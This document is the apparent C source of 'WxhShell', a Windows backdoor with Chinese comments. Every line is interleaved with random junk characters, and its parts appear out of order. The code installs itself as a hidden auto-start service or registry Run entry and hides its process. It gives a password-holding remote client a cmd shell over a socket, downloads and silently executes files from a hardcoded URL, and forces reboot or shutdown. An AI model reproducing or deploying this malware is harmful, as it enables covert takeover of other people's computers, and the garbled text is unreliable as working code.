  case 'd': { V 4#bW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Arr(rM  
    if(Boot(SHUTDOWN)) OO?;??  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p*NKM} ]I  
    else { zIzL7oD  
    closesocket(wsh);  YW14X  
    ExitThread(0); q1a*6*YB  
    } 0?$jC-@k:  
    break; &GfDo4$  
    } ym_w09   
  // 获取shell >P9|?:c  
  case 's': { =(==aP  
    CmdShell(wsh); vE~>9  
    closesocket(wsh); A"3"f8P8a  
    ExitThread(0); [g/ &%n0^  
    break; Q4Zw<IZv5  
  } wbpz,  
  // 退出 g1H$wU3eu  
  case 'x': { ixvF `S9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <"hq}B  
    CloseIt(wsh); )MWbZAI  
    break; &cpqn2Z  
    } I.6 qA *  
  // 离开 <WiyM[ ep  
  case 'q': { EXbaijHQG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  NZu2D  
    closesocket(wsh); Q,LDn%+;B*  
    WSACleanup(); =h>jo&=Wad  
    exit(1); O<`N0  
    break; ;%Zu[G`C  
        } f q&(&(|  
  } Mp3nR5@d$  
  } K^Ho%_)  
I_s*pT  
  // 提示信息 D~zk2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zHX7%x,Cq  
} x+bC\,q  
  } &?H`MCv t  
p f`vH`r  
  return; M,vCAZ  
} M^&^g  
ZA7b;{o [  
// shell模块句柄 !BjJ5m  
int CmdShell(SOCKET sock) {nj`>  
{ "=Cjm`9~j  
STARTUPINFO si; Ly-}HW(  
ZeroMemory(&si,sizeof(si)); T0X+\&W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q"s]<MtdS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EX/{W$ &K  
PROCESS_INFORMATION ProcessInfo; YS bS.tq  
char cmdline[]="cmd"; ?s@=DDB\u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uC|bC#;  
  return 0; Ys>Z=Eky  
} f~?kx41dq  
K*P:FCz  
// 自身启动模式 6J<R;g23R]  
int StartFromService(void) sdBB(  
{ J%IKdxa  
typedef struct Ce:w^P+  
{ !}hG|Y6s  
  DWORD ExitStatus; 'd]t@[#  
  DWORD PebBaseAddress; PQrc#dfc |  
  DWORD AffinityMask; 1oI2  
  DWORD BasePriority; ?h:xO\h8  
  ULONG UniqueProcessId; 6lm<>#_  
  ULONG InheritedFromUniqueProcessId; v+~O\v5Q  
}   PROCESS_BASIC_INFORMATION; !l$k6,WJi  
0D/7X9xg9+  
PROCNTQSIP NtQueryInformationProcess; m#^;V  
?&D.b$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o|APsQE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y9~:[jB  
1fTf+P  
  HANDLE             hProcess; H`4KhdqR  
  PROCESS_BASIC_INFORMATION pbi; 4t 0p!IxG  
6GoQJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9h"3u;/,  
  if(NULL == hInst ) return 0; "}2I0tM  
*-&+;|mM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K.Y.K$NjP{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EUby QL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^@)*voP#G  
i)(-Ad_  
  if (!NtQueryInformationProcess) return 0; $mxl&Qr>Q;  
a>&dAo}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ) 3ZkKv;zY  
  if(!hProcess) return 0; )O8w'4P5  
l6N"{iXU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IeAi'  
k{ulu  
  CloseHandle(hProcess); Pk&$ #J_  
}[y_Fr0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;pqS|ayl  
if(hProcess==NULL) return 0; w3M F62:  
1-.(pA'  
HMODULE hMod; zd=N.  
char procName[255]; ++BQ==@  
unsigned long cbNeeded; \"9ysePI  
71Y3.1+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7>3+]njw  
%>1C ($^  
  CloseHandle(hProcess); 2]Ei4%jo  
y24/lc  
if(strstr(procName,"services")) return 1; // 以服务启动 oGL2uQXX  
MC1&X'  
  return 0; // 注册表启动 {d%hkbN+{  
} ~BgNM O;|  
NYeL1h)l  
// 主模块 TVK*l*  
int StartWxhshell(LPSTR lpCmdLine) _Nf%x1m5s  
{ ITZ}$=   
  SOCKET wsl; A~;+P  
BOOL val=TRUE; :H/Rhx=  
  int port=0; ,Y@4d79  
  struct sockaddr_in door; s qO$ka{  
Kc`#~-`,(  
  if(wscfg.ws_autoins) Install(); / }(\P@Z  
G4%dah 5  
port=atoi(lpCmdLine); a[J_H$6H!  
h5lngw  
if(port<=0) port=wscfg.ws_port; Wqe0m_7  
C\* 0621  
  WSADATA data; GK{~n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #(-?i\i  
o),@I#fM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [jTZxH<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~sTn?~  
  door.sin_family = AF_INET; _8wT4|z5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5KW n>n  
  door.sin_port = htons(port); nX<yB9bXDg  
yS4nB04`=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W,.Exh  
closesocket(wsl); } A}Vd:#  
return 1; wvH*<,8V q  
} x";4)u=  
uk3PoB^>  
  if(listen(wsl,2) == INVALID_SOCKET) { b7HT<$Wg  
closesocket(wsl); lN7YU-ygz  
return 1; 8|Wl|@1(  
} /brHB @$  
  Wxhshell(wsl); aL/7xa  
  WSACleanup(); d V3R)  
P?zL`czWd  
return 0; ~'LoIv20j)  
k!!d2y6  
} &_3o1<  
j^D/ ,SW  
// 以NT服务方式启动 UM. Se(kS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sbV_h;<  
{ 87hU#nVYh  
DWORD   status = 0; GX N:=  
  DWORD   specificError = 0xfffffff; M2M&L,/O  
1(/rg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c/,B?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Gk)6ljL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <\L=F8[  
  serviceStatus.dwWin32ExitCode     = 0; :(i=> ~O  
  serviceStatus.dwServiceSpecificExitCode = 0; muKjeg'b  
  serviceStatus.dwCheckPoint       = 0; 7qg. :h  
  serviceStatus.dwWaitHint       = 0; Jg@eGs\*  
20)8e!jP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RY~m Q  
  if (hServiceStatusHandle==0) return; `W u.wx  
}5y ]kn  
status = GetLastError(); ]GzfU'fOn|  
  if (status!=NO_ERROR) r,ep{ p  
{ <KZ J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tS[@?qP  
    serviceStatus.dwCheckPoint       = 0; e_llW(*l8^  
    serviceStatus.dwWaitHint       = 0; 8-)@q|  
    serviceStatus.dwWin32ExitCode     = status; KvlLcE~`o  
    serviceStatus.dwServiceSpecificExitCode = specificError; *4g:V;L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =]-D_$S~  
    return; U.J/ "}5`T  
  } 0;"  >.  
=2d h}8Mz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =]0AZ  
  serviceStatus.dwCheckPoint       = 0; !3Q^oR  
  serviceStatus.dwWaitHint       = 0; 7/FF}d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6"V86b0)h}  
} 4M>EQF&  
8LlWXeD9  
// 处理NT服务事件,比如:启动、停止 e;&fO[ 2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I(+%`{Wv  
{ {Pe+d3Eoo  
switch(fdwControl) fCi1JH;  
{ k; vhQ=  
case SERVICE_CONTROL_STOP: $!:xjb  
  serviceStatus.dwWin32ExitCode = 0; <nF1f(ky  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sT>l ?L  
  serviceStatus.dwCheckPoint   = 0; j.UO>1{7  
  serviceStatus.dwWaitHint     = 0; HeM-  
  { ASaNac-3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jNP%BNd1f  
  } * v u  
  return; >2K:O\&  
case SERVICE_CONTROL_PAUSE: o*s3"Ib  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @%[ VegT  
  break; T :X A  
case SERVICE_CONTROL_CONTINUE: P6;Cohfh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RTeG\U  
  break; o`\@Yq$.  
case SERVICE_CONTROL_INTERROGATE: Xldz& &@  
  break; (J`EC  
}; :tBZu%N/N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J.n-4J#@  
} Bc51 0I$c  
s%t =*+L\  
// 标准应用程序主函数 b "5WsJ:'#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \m1jV>q  
{ <k-hRs2d  
+zSdP2s  
// 获取操作系统版本 ^|=3sJ4[U  
OsIsNt=GetOsVer(); r#/Bz5Jb*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .l~g`._  
$Z4IPs  
  // 从命令行安装 G>0 hi1  
  if(strpbrk(lpCmdLine,"iI")) Install(); N1u2=puJY  
+v"%@lC};  
  // 下载执行文件 -gb'DN1BG  
if(wscfg.ws_downexe) { 5`[B:<E4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F(;C \[Ep  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5tl uS  
} GYN Lyd)  
XLsOn(U\&  
if(!OsIsNt) { :*s+X$x,<  
// 如果时win9x,隐藏进程并且设置为注册表启动 LkIbvJCV  
HideProc(); P};GcV-  
StartWxhshell(lpCmdLine); xsSX~`  
} Af7&;8pM  
else PU^@BZ_m  
  if(StartFromService()) y`.m'n7>P  
  // 以服务方式启动 Shb"Jc_i  
  StartServiceCtrlDispatcher(DispatchTable); [49Ae2W`  
else vP{;'R  
  // 普通方式启动 ?<-ins  
  StartWxhshell(lpCmdLine); 7.tEi}O&_g  
;B@-RfP  
return 0; L64cCP*  
} Q!"W)tD  
c9)5G+   
~Y'j8W  
D'3. T{*rH  
=========================================== p) ea1j>N  
_f@, >l  
'or8CGr^p  
It3.  
61{IXx_  
{Qr0pjE7R  
" qb1[-H  
Qv>rww]  
#include <stdio.h> uw`fC%-xh  
#include <string.h> 5D%gDw+"  
#include <windows.h> u.Z,HsEOb  
#include <winsock2.h> S2*ER  
#include <winsvc.h> bem-T`>'  
#include <urlmon.h> JOm6Zc  
' 5%`[&  
#pragma comment (lib, "Ws2_32.lib") Jh)K0>R  
#pragma comment (lib, "urlmon.lib") ;5wr5H3  
&b7i> ()  
#define MAX_USER   100 // 最大客户端连接数 gaXKP1m^  
#define BUF_SOCK   200 // sock buffer Y94/tjt  
#define KEY_BUFF   255 // 输入 buffer b&1-tYV  
"~HV!(dRMC  
#define REBOOT     0   // 重启 # \)tz z  
#define SHUTDOWN   1   // 关机 bxA1fA;  
'fkaeFzOl  
#define DEF_PORT   5000 // 监听端口 C #A\Rfi  
|ZnRr  
#define REG_LEN     16   // 注册表键长度 7yK1Q_XY>  
#define SVC_LEN     80   // NT服务名长度 9x40  
J \V.J/  
// 从dll定义API g2'Q)w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Pqm)OZE?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?dcR!-3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (ATCP#lF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !(wH}ti  
bb^$]lT'  
// wxhshell配置信息 U.B=%S  
struct WSCFG { IAJYD/Y&?  
  int ws_port;         // 监听端口 f YuM`O  
  char ws_passstr[REG_LEN]; // 口令 }&mFpc  
  int ws_autoins;       // 安装标记, 1=yes 0=no pt!Q%rXm  
  char ws_regname[REG_LEN]; // 注册表键名 > \KVg(?D  
  char ws_svcname[REG_LEN]; // 服务名 K9J"Q4pEC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mzX <!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8{GRrwQ>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AIXvS*Y,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no khW9n*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !tNJLOYf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Twj?SV  
{vJ)!'Eh  
}; iWN-X (  
s;0eD5b>x  
// default Wxhshell configuration dWI.t1`i  
struct WSCFG wscfg={DEF_PORT, weOzs]uc  
    "xuhuanlingzhe", [?$|   
    1, @M V%&y*z.  
    "Wxhshell", /Lc= K<  
    "Wxhshell", _0rHxh7}q  
            "WxhShell Service", h CLXL  
    "Wrsky Windows CmdShell Service", Bn"r;pqWiT  
    "Please Input Your Password: ", ?]=fC{Rh  
  1, ikGH:{  
  "http://www.wrsky.com/wxhshell.exe", yt&eY6Xp  
  "Wxhshell.exe" D k'EKT-  
    }; hao0_9q+  
>t"]gQHtx  
// 消息定义模块 #&1Y!kbdd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rI:KZ}GZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3"gifE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c#G]3vTdE  
char *msg_ws_ext="\n\rExit."; ~EU[?  
char *msg_ws_end="\n\rQuit."; {I |k@  
char *msg_ws_boot="\n\rReboot..."; X*~NE\  
char *msg_ws_poff="\n\rShutdown..."; '^l/e: (H3  
char *msg_ws_down="\n\rSave to "; 6bg+U`&g  
\ooqa<_  
char *msg_ws_err="\n\rErr!"; L!L/QG|wdf  
char *msg_ws_ok="\n\rOK!"; 7F-b/AdVq  
#^Dc:1,  
char ExeFile[MAX_PATH]; yvxC/Jo4  
int nUser = 0; tji,by#E/%  
HANDLE handles[MAX_USER]; !v2,lH  
int OsIsNt; 33kI#45s  
$/C<^}A  
SERVICE_STATUS       serviceStatus; [ &*$!M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UBRMV s  
D,eJR(5I  
// 函数声明 ABV\:u  
int Install(void); !9"R4~4  
int Uninstall(void); 1A- 8,)  
int DownloadFile(char *sURL, SOCKET wsh); %:o@IRTRU  
int Boot(int flag); L>UYR++<6  
void HideProc(void); DuvP3(K  
int GetOsVer(void); =] 5;=>(  
int Wxhshell(SOCKET wsl); BHmA*3?  
void TalkWithClient(void *cs); LbR/it'}  
int CmdShell(SOCKET sock); fnnwe2aso  
int StartFromService(void); `Ik}Xw  
int StartWxhshell(LPSTR lpCmdLine); 1MJ]Gh]5  
~+7yi4(i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d L%E0o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sW2LNE  
l3MbCBX2  
// 数据结构和表定义 CES FkAj~  
SERVICE_TABLE_ENTRY DispatchTable[] = Vd<= y  
{ 0HD1Ob^@  
{wscfg.ws_svcname, NTServiceMain}, pjj 5  
{NULL, NULL} Y)u} +Yg  
}; \wRr6-!_  
C6"!'6 W  
// 自我安装 )N=b<%WD   
int Install(void) &< Gq-IN  
{ Z `\7B e  
  char svExeFile[MAX_PATH]; P)ZSxU  
  HKEY key; S ,(@Q~  
  strcpy(svExeFile,ExeFile); 8v^i%Gg  
@I"Aet'XV  
// 如果是win9x系统,修改注册表设为自启动 Ok`U*j  
if(!OsIsNt) { Mz++SPG7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _Mt:^H}Sy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8&C(0H]1  
  RegCloseKey(key); <Ab:yD`K!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { : m5u=:t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rFy9K4D  
  RegCloseKey(key); ~v54$#CB  
  return 0; Y!7P>?)`,X  
    } a+~o: 5  
  } "tj#P  
} ^p7(  
else { qBNiuV;*  
b<( W}$x  
// 如果是NT以上系统,安装为系统服务 2@&|hd=-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xRY5[=97  
if (schSCManager!=0) -KNJCcBJ  
{ ^n2w6U0  
  SC_HANDLE schService = CreateService "G,*Z0V5  
  ( H);'\]_'x  
  schSCManager, ]czy8n$+  
  wscfg.ws_svcname, R]Yhuo9,&n  
  wscfg.ws_svcdisp, =5|5j!i=q  
  SERVICE_ALL_ACCESS, a,4g`?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aBI]' D;  
  SERVICE_AUTO_START, .~U9*5d  
  SERVICE_ERROR_NORMAL,  XGoy#h  
  svExeFile, |K_B{v.   
  NULL, Ii,:+o%  
  NULL, j&Aq^aI  
  NULL, ;dFe >`~  
  NULL, YiCDV(prT  
  NULL c~'kW`sNV  
  ); []]3"n  
  if (schService!=0) 0&\Aw'21  
  { 'AAY!{>  
  CloseServiceHandle(schService); qC4-J)8 Wk  
  CloseServiceHandle(schSCManager); ;gMh]$|"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 84[^#ke  
  strcat(svExeFile,wscfg.ws_svcname); mCGcM^21-x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UH.cn|R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V3oAZ34)  
  RegCloseKey(key); _'7/99]4g}  
  return 0; WNb$2q=  
    } EDo@J2A  
  } 1pb;A;F,A  
  CloseServiceHandle(schSCManager); g,:N zb  
} AVr!e   
} Du>HF;Fv  
h2%:;phH  
return 1; [j? <9  
} 1,j9(m2  
 {K9E% ,w  
// 自我卸载 ]CZLaID~  
int Uninstall(void) +*J4q5;E[?  
{ FZnH G;af  
  HKEY key; >y9o&D  
OQ7c| O  
if(!OsIsNt) { ?X'* p<`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C.E> )  
  RegDeleteValue(key,wscfg.ws_regname); .dCP8|  
  RegCloseKey(key); wP/9z(US  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gJ.6m&+  
  RegDeleteValue(key,wscfg.ws_regname); kkBU<L2  
  RegCloseKey(key); H040-Q;S'  
  return 0;  ^qqHq  
  } {0e{!v  
} AfN   
} n ;5?^Un%  
else { E ZKz-}  
d;SRK @  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q) BoWd  
if (schSCManager!=0) WWcm(q =  
{ \hW73a!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |u"R(7N*  
  if (schService!=0) <88}+j  
  { t!SQLgA  
  if(DeleteService(schService)!=0) { mzxvfXSF  
  CloseServiceHandle(schService); }pnFJ  
  CloseServiceHandle(schSCManager); H}V*<mg w  
  return 0; y]]Vp~R:[  
  } 5?L:8kHsH  
  CloseServiceHandle(schService); DD 5EHJR  
  } pE/3-0;}N  
  CloseServiceHandle(schSCManager); SP7g qM  
} 7(8  
} *rz(}(r  
G=!bM(]R~  
return 1; UUf1T@-  
} ^P g YP  
V 1nZ M  
// 从指定url下载文件 (vsk^3R[6  
int DownloadFile(char *sURL, SOCKET wsh) kqigFcz!Y  
{ }t D!xI;  
  HRESULT hr; a/<pf\O  
char seps[]= "/"; z!C4>,  
char *token; :.[5('  
char *file; Gx_`|I{P  
char myURL[MAX_PATH]; O;BMwg_7  
char myFILE[MAX_PATH]; <<On*#80w  
/W$y"!^)J1  
strcpy(myURL,sURL); v#%>uLl  
  token=strtok(myURL,seps); ,cy/fW  
  while(token!=NULL) O<Sc.@~  
  { $ l sRg:J  
    file=token; 2PP-0 E  
  token=strtok(NULL,seps); KT;C RO>  
  } 5@>4)dk\  
b|ksMB>)  
GetCurrentDirectory(MAX_PATH,myFILE); &PBWJ?@O)r  
strcat(myFILE, "\\"); ssX6kgq_(  
strcat(myFILE, file); m wEVEx24  
  send(wsh,myFILE,strlen(myFILE),0); 2mG&@E  
send(wsh,"...",3,0); 7{+Io  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ),p]n  
  if(hr==S_OK) a[P>SqT4`  
return 0;  sx(l  
else Q$.V:#  
return 1; J'&B:PZObB  
"l[ V%f E  
} =Mu'+,dT  
W:{PBb"x8  
// 系统电源模块 X\p`pw$  
int Boot(int flag) @[>+Dzn[6  
{ V>>) 7E:Q  
  HANDLE hToken; $;)noYo  
  TOKEN_PRIVILEGES tkp; ^{fi^lL=  
f}lT|.)?VD  
  if(OsIsNt) { dW{o+9nw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {GX &)c4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); # McK46B z  
    tkp.PrivilegeCount = 1; Yn$>QS 4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iUxDEt[t*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _!C)r*0(  
if(flag==REBOOT) { lNA'M&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iB}LnC:  
  return 0; liCCc;&B;  
} @ yg| OA}  
else { e"o6C\c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %7C%`)T]  
  return 0; s;-78ejj7  
} A4#3O5kij  
  } J/]o WC`u  
  else { iJdrY 6qd  
if(flag==REBOOT) { j:v~MrQ7|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BYr_Lz|T  
  return 0; $K6?(x_  
} ,Ou1!`6?t  
else { i3M?D}(Bs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0gv3v@QO  
  return 0; cwM#X;FGq  
} + 4V1>e+  
} ) 8x:x7?  
`Ct'/h{  
return 1; { .aK{ V  
} VVI8)h8  
KlVi4.]  
// win9x进程隐藏模块 ( E"&UC[  
void HideProc(void) ]HJ{dcF  
{ v2M"b?Q  
p@cfY]<7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5T$9'5V7  
  if ( hKernel != NULL ) bxd3  
  { "4Lg8qm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )Y&MIJ7>@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m0x J05Zx  
    FreeLibrary(hKernel); y+ 6`| h_  
  } #/n|@z'  
_" ?c9  
return; ":UWowJO  
} TRs[~K)n  
iwG>]:K3  
// 获取操作系统版本 N5q}::Odc  
int GetOsVer(void) SWNU1x{,c\  
{ :DOr!PNA  
  OSVERSIONINFO winfo; 6)=](VmNL`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [+hy_Nc$  
  GetVersionEx(&winfo); H$NP1^5!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GN:Ru|n  
  return 1; I!|y;mh:it  
  else NqiB8hZ~  
  return 0; (l\a'3a.  
} ( GFgt_  
+Od1)_'\D3  
// 客户端句柄模块 o/tVcv  
int Wxhshell(SOCKET wsl) b\SXZN)Be  
{ a~8:rW^  
  SOCKET wsh; :[y]p7;{f  
  struct sockaddr_in client; 33=Mm/<m$P  
  DWORD myID; e+NWmu{<_  
SL[rn<x|  
  while(nUser<MAX_USER) Si#"Wn?|  
{ U>/<6 Wd  
  int nSize=sizeof(client); gbYLA a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AC 9{*K[  
  if(wsh==INVALID_SOCKET) return 1; @PYW|*VS  
kmZ.U>#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J y]FrSm^  
if(handles[nUser]==0) 6?53q e  
  closesocket(wsh); >}-~rZ  
else sFbfFUd  
  nUser++; gJ]Cq/gC  
  } 4a\n4KO X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oUl=l}qnD  
whV&qe;sw  
  return 0; hNH.G(l0  
} Vh 2Bz  
Jb( DJ-&  
// 关闭 socket gE\A9L~b  
void CloseIt(SOCKET wsh) [?;`x&y~y  
{ n"(7dl?  
closesocket(wsh); EYA/CI   
nUser--; Bx+d3  
ExitThread(0); %p<$|'  
} a`DWpc~  
:lgHL3yl  
// 客户端请求句柄 \s,Iz[0Vfz  
void TalkWithClient(void *cs) BTO A &Ag  
{ /rqqC(1  
1#/6r :  
  SOCKET wsh=(SOCKET)cs; \^Ep>Pq`]  
  char pwd[SVC_LEN];  ,Qat  
  char cmd[KEY_BUFF]; [.{^"<Z<  
char chr[1]; ojX%RU  
int i,j; P=c?QYF  
k}X[u8A  
  while (nUser < MAX_USER) { *U M! (  
f(!E!\&n^  
if(wscfg.ws_passstr) { FH4u$ g+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {W-5:~?"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6*sw,sU[y  
  //ZeroMemory(pwd,KEY_BUFF); Dzo{PstM%  
      i=0; F@<O;b#Ip  
  while(i<SVC_LEN) { hXNH"0VCV  
]+mjOks~  
  // 设置超时 F{;; :  
  fd_set FdRead; {wcO[bN  
  struct timeval TimeOut; Sobtz}A*  
  FD_ZERO(&FdRead); "2%>M  
  FD_SET(wsh,&FdRead); <3lUV7!  
  TimeOut.tv_sec=8; FW_G\W.  
  TimeOut.tv_usec=0; CldDr<k3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >'N!dM.+9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B "*`R!y  
!I~C0u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V`by*s  
  pwd=chr[0]; {$0&R$v3  
  if(chr[0]==0xd || chr[0]==0xa) { o!=WFAi[pX  
  pwd=0; inZi3@h)T  
  break; aV<^IxE;  
  } 3^XVQS***  
  i++; Nl { 7  
    } $6# lTYN~  
yQ'eu;+]  
  // 如果是非法用户,关闭 socket "?P[9x}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vnTq6:f#M  
} D;jK/2  
.9OFryo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3?@?-q2g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IO"hF  
c yP,[?N  
while(1) { Ssf+b!e]  
;T>+,  
  ZeroMemory(cmd,KEY_BUFF); 9KyZEH;pY  
'PpZ/ry$  
      // 自动支持客户端 telnet标准   FN!1| 'VK  
  j=0; ~p\n&{P0  
  while(j<KEY_BUFF) { TY~Vi OC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L<=)@7  
  cmd[j]=chr[0]; ] IS;\~  
  if(chr[0]==0xa || chr[0]==0xd) { NF mc>0-  
  cmd[j]=0; CU$)QH{  
  break; O |WbFf  
  } 4sIX O  
  j++; ,#d[ad<  
    } m2O&2[g  
jgq{pZ#E  
  // 下载文件 5ITq?%{M  
  if(strstr(cmd,"http://")) { Yb 6q))Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 88l,&2q  
  if(DownloadFile(cmd,wsh)) ! Mo`^ t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y@%`ZPJ  
  else G6Nb{m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $P nLG]X  
  } `Wn Q   
  else { vq>l>as9O  
h e&V# #  
